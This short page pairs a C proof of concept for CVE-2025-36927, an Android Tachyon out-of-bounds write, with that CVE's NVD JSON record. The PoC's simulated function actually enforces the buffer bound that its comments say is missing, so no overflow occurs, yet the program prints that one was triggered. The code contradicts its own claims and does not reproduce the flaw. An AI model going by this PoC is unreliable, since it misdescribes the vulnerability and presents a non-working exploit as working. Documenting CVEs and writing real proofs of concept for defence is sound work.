CVE-2025-36927

// CVE-2025-36927 PoC - Android Tachyon Out-of-Bounds Write // This PoC demonstrates the vulnerability in GetTachyonCommand #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulated vulnerable function from tachyon_server_common.h void GetTachyonCommand(char* input, char* output, size_t output_size) { // Vulnerable: No bounds checking on input length // Attackers can overflow the output buffer size_t i = 0; while (input[i] != '\0' && i < output_size - 1) { output[i] = input[i]; i++; } output[i] = '\0'; } // Malicious input generator char* generate_malicious_input(size_t length) { char* payload = malloc(length + 1); memset(payload, 'A', length); payload[length] = '\0'; return payload; } int main() { char output_buffer[64]; // Small buffer for demonstration // Generate oversized input to trigger OOB write size_t malicious_length = 128; // Exceeds buffer size char* malicious_input = generate_malicious_input(malicious_length); printf("[*] CVE-2025-36927 PoC\n"); printf("[*] Triggering OOB write in GetTachyonCommand\n"); // This will write beyond buffer boundaries GetTachyonCommand(malicious_input, output_buffer, sizeof(output_buffer)); printf("[!] Buffer overflow triggered\n"); printf("[!] Input length: %zu\n", malicious_length); printf("[!] Buffer size: %zu\n", sizeof(output_buffer)); free(malicious_input); return 0; }

{"cve": {"id": "CVE-2025-36927", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.227", "lastModified": "2025-12-12T17:36:25.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GetTachyonCommand of tachyon_server_common.h, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}